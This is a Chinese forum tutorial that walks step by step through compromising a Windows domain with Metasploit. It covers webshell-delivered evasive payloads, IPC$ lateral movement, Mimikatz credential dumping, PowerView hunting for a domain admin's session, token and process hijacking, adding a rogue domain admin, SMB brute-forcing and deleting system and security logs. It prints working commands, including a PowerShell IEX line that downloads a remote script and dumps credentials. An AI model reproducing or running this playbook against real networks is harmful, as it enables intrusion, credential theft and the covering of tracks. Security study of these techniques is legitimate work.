Metasploit驰骋内网直取域管首级

shuteer / 2017-02-20 13:29:00 / 浏览数 4056 新手 入门资料 顶(0) 踩(0)

0×01 引言

我们渗透的最终目的是获取服务器的最高权限，即Windows操作系统中管理员账号的权限，或LINUX操作系统中root账户权限。而在内网中，我们的最终目的就是获取域管

0×02 渗透环境

此次渗透的环境：假设我们现在已经渗透了一台服务器PAVMSEF21，该服务器内网IP为10.51.0.21。经过扫描，内网网络结构大概如下图所示。其中我们控制的服务器是连
)

0×03 反弹meterpreter

上传免杀的PAYLOAD到机器名为PAVMSEF21，IP为10.51.0.21的服务器上，然后在菜刀或者WEBSHELL下面运行，反弹成功。

0×04 提权

获得meterpreter
shell我们要做的第一件事情就是提权。通常，我们在渗透过程中很有可能只获得了一个系统的Guest或User权限。低的权限级别将会使我们受到很多的限制，所以必须将访

我们先尝试利用本地溢出漏洞提权，即使用本地漏洞的利用程序（local
exploit）提升权限。就是说通过运行一些现成的造成溢出漏洞的exploit,把用户从users组或其它系统用户中提升到administrators组（或root）。

此时我们获取的权限是一个普通域用户权限，如下图所示。

先利用本地溢出提权，尝试了ms15_05和ms15_078，都以失败告终。如下图所示：

再试试看能不能绕过Windows账户控制（UAC），我们现在是具有一个普通域用户的权限的。

尝试了bypassuac模块，又以失败告终，如果成功会返回一个新的meterpreter shell。如下图所示：

使用bypassuac模块进行提权时，系统当前用户必须在管理员组，而且用户账户控制程序UAC设置为默认，即“仅在程序试图更改我的计算机时通知我”。而且Bypassuac模块

其实提权没有成功也不要紧，我们还是可以通过此服务器为跳板，来攻击其他服务器的。

0×05 信息收集

我们此时虽然提权不成功，但我们还是可以进行域渗透测试的。有了内网的第一台机器的权限后，如何收集信息，这是很关键的一步，也是内网渗透中不可或缺的一部分。

查看当前机器的网络环境，收集域里面的相关信息，包括所有的用户，所有的电脑，以及相关关键的组的信息。常使用到的命令如下：

1. net user /domain 查看域用户
2. net view /domain 查看有几个域
3. net view /domain:XXX 查看此域内电脑
4. net group /domain 查询域里面的组
5. Net group “domain computers” /domain 查看域内所有计算机名
6. net group “domain admins” /domain 查看域管理员
7. net group “domain controllers” /domain 查看域控制器
8. net group “enterprise admins” /domain 查看企业管理组
9. net time /domain 查看时间服务器

通过收集以上信息，我们可以分析出很多重要信息，比如：可以分析出内网是怎么划分的，还有各个机器名的命名规则，根据机器命名尝试找出重要人物电脑，还有域结构，

0x06 获取一台服务器权限

我们的目标当然是域服务器，此时有二种情况，当前服务器可以直接攻击域服务器和不可以直接攻击域服务器。

- 可以直接攻击域服务器
- 不可以直接攻击域服务器，如果权限不够我们需要提升权限；如果是不能连接到域服务器需要攻击内网某个可以连接到域服务器的服务器，然后以此为跳板再攻击域服务

我们现在因为权限问题不可以直接攻击到域服务器，整理下思路，可以采取以下方法继续渗透：

1. 使用meterpreter的目前权限来添加路由进行弱口令扫描
2. 使用powershell对内网进行扫描（要求WIN7以上服务器）

3. 架设socks4a，然后socks进行内网扫描
4. 利用当前权限，进行内网IPC$渗透

通过上面的分析，我们先选择最简单的方法，我们在net view的机器名里选择一个和我们机器名相似的服务器来试试，不出意外，成功率很高，如下图所示。

给大家再温习下经典的ipc$入侵

这里我们把我们免杀的PAYLOAD上传到PAVMSEP131服务器，然后利用AT命令启动PAYLOAD，反弹回来meterpreter shell,具体操作见下图。

接着我们返回handler监听，可以看到反弹成功了，我们获得了pavmsep131服务器的meterpreter shell。见下图。

我们先看看PAVMSEP131服务器的信息和现在的权限

 sysinfo
 getuid

看到没有system权限，现在可以用Mimikatz等工具也可以用run post/windows/gather/hashdump来抓HASH。

我们在用Mimikatz抓HASH之前要注意一点，如果服务器是安装的64位操作系统，要把Mimikatz进程迁移到一个64位的程序进程中，才能查看64位系统密码明文。32位

这里我们使用大杀器（MIMIKATZ），抓HASH，具体操作见下图。

我们看下我们抓到的域用户的权限，如下图：

0x07 Powershell寻找域管在线服务器

Powershell，首先是个Shell，定义好了一堆命令与操作系统，特别是与文件系统交互，能够启动应用程序，甚至操纵应用程序。PowerShell还能允许将几个命令
组合起来放到文件里执行，实现文件级的重用，也就是说有脚本的性质。且PowerShell能够充分利用.Net类型和COM对象，来简单地与各种系统交互，完成各种复杂的、自

Powershell的脚本有很多，在内网渗透测试中不仅能扫，能爆，能转发，还能做更多的事情。我们常用的脚本有Powersploit，Empire，PowerView等等。

使用脚本之前，我们先科普下计算机上的执行策略，输入下面命令。

 get-executionpolicy

- Restricted------默认的设置，不允许任何script运行
- AllSigned-------只能运行经过数字证书签名的script
- RemoteSigned----运行本地的script不需要数字签名，但是运行从网络上下载的script就必须要有数字签名
- Unrestricted----允许所有的script运行

要运行Powershell脚本程序，必须要将Restricted策略改成Unrestricted，而修改此策略必须要管理员权限，所以这里就需要采用一些方法绕过策略来执行脚本。有下面三种

本地权限绕过执行

```
PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
```

本地隐藏权限绕过执行脚本

```
PowerShell.exe -ExecutionPolicy Bypass -NoLogo -Nonlnteractive -NoProfile -WindowStyle Hidden(■■■■) -File xxx.ps1
```

用IEX下载远程PS1脚本回来权限绕过执行

```
powershell &amp;quot;IEX (New-Object
Net.WebClient).DownloadString(&amp;#39;http://is.gd/oeoFuI&amp;#39;);Invoke-Mimikatz-DumpCreds&amp;quot;
```

这里我们先使用powerview脚本来获取当前域管理员在线登录的服务器，我们将powerview脚本的Invoke-UserHunter模块上传主机名pavmsep131，IP为10.51.0.131的服

具体命令如下：

```
 powershell.exe -exec bypass -Command &amp;quot;&amp;amp;{Import-Module .\powerview.ps1;Invoke-UserHunter}&amp;quot;
```

可以看到域管理员当前在线登陆的机器为主机名PAVMSXD30,ip为10.51.0.30的服务器，此时我们需要入侵此服务器然后迁移到域管理登陆所在的进程，便拥有了域管理的权

0x08 获取域管权限

现在我们通过powershell成功的获取到主机名PAVMSXD30,ip为10.51.0.30的服务器权限，接下来我们就可以去搞域控了。

我们先利用getsystem命令提升下自己的权限，如下图所示。

可以看到我们现在的UID是sonicwall，从前面获取到的域管理员账号信息中，我们得知sonicwall是域管理员。

然后利用PS命令找到域管理所在的进程，把meterpreter shell进程迁移到此进程中，成功后我们就获得了域管理权限。如下图所示。

这里除了迁移进程外，也可以使用Metasploit中的窃取令牌功能，同样也可以获得域管理权限。

接着我们来查看主域控IP，这里用net time命令，一般来说时间服务器都为域服务器。

可以看到域服务器的主机名为PAVMSAD64,IP地址为10.51.0.63。

现在我们可以使用经典的IPC$入侵来反弹一个meterpreter shell了，具体操作看下图。

提示一个什么schtasks.exe的错误，失败了，好吧，我们换个思路。因为我们现在已经在域管理员权限下面了，所以我们来给域控添加个管理员账户，如下图所示。

看下是否添加成功，利用如下命令。

 net group "domain admins" /domain

可以看到我们已经添加成功了。

0x09 登陆域控

现在域控的权限也终于到手了。接下来我们就要登陆域控，然后抓域控的HASH。

整理下思路，常见的登录域控的方式有以下几种:

1. 端口转发或者 socks 登录域控远程桌面，可以参考我的另一篇文章内网漫游之SOCKS代理大结局
2. 登录对方内网的一台电脑使用psexec来反弹shell
3. 使用metasploit下面的psexec或者smb_login来反弹meterpreter

我们这里采用最常见也是效果最好的metasploit下面的psexec来反弹meterpreter。

使用时注意以下2点：

1. msf中psexec模块的使用
2. cuestom模块的使用，使用自己Veil生成的免杀payload。

我们可以看到已经反弹成功了，我们先迁移下进程，然后看下域控的系统信息和sessions控制图。

思路：可以看到现阶段控制的session共有5个。其中session1为webshell反弹，session2是利用ipc$入侵，session4是为获取域管在线服务器所获取，session5为域。整

有了域控的权限之后，接着我们来抓HASH,常用的有下面几种方法：

1. 使用metasploit自带的dumphash模块。一个是
   hashdump，此模块只能导出本地的hash。另外一个是smart_hashdump,此模块可以用来导出域用户的hash。
2. powershell利用模块直接导出。
3. wce,mimikatz等神器的使用。

在这里我们使用metasploit自带的dumphash模块。在此需要注意的是要想使用此模块导出hash，必须要有system的权限才行。具体操作如下图：

0x10 SMB爆破内网

有了域控的密码，接下来我们要做的事情就很简单了，就是快速的在内网扩大控制权限。具体如下：

1. 利用当前获取到的域控账户密码，对整个域控IP段进行扫描。
2. 使用smb下的smb_login模块
3. 端口转发或者SOCKS代理进内网

我们先在metasploit添加路由，然后使用smb_login模块或者psexec_scanner模块进行爆破。具体操作见下图。

可以看到我们获取了大量内网服务器的密码。下面我们就可以畅游内网了。可以使用meterpreter的端口转发，也可以使用metasploit下的socks4a
模块或者第三方软件。

具体可以参考我的另一篇文章内网漫游之SOCKS代理大结局

这里我们简单的使用meterpreter的端口转发即可。

0x11 清理日志

作为一个渗透测试民间爱好者，一定要切记要在渗透的过程中注意保护自己，不要破坏服务器，还要把自己PP擦干净。

主要以下几步:

1. 删除之前添加的域管理账号
2. 删除所有的使用过程中的工具
3. 删除应用程序，系统和安全日志
4. 关闭所有的meterpreter连接

上一篇：Metasploit权限提升全剧终 下一篇：Android应用程序安全设计、安...

1. 2 条回复

dkive 2017-02-23 02:49:28

表哥厉害～画还是你老婆画的
[attachment=3672]

0 回复Ta

三顿 2017-02-23 03:39:03

思路蛮清楚的好评

0 回复Ta

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板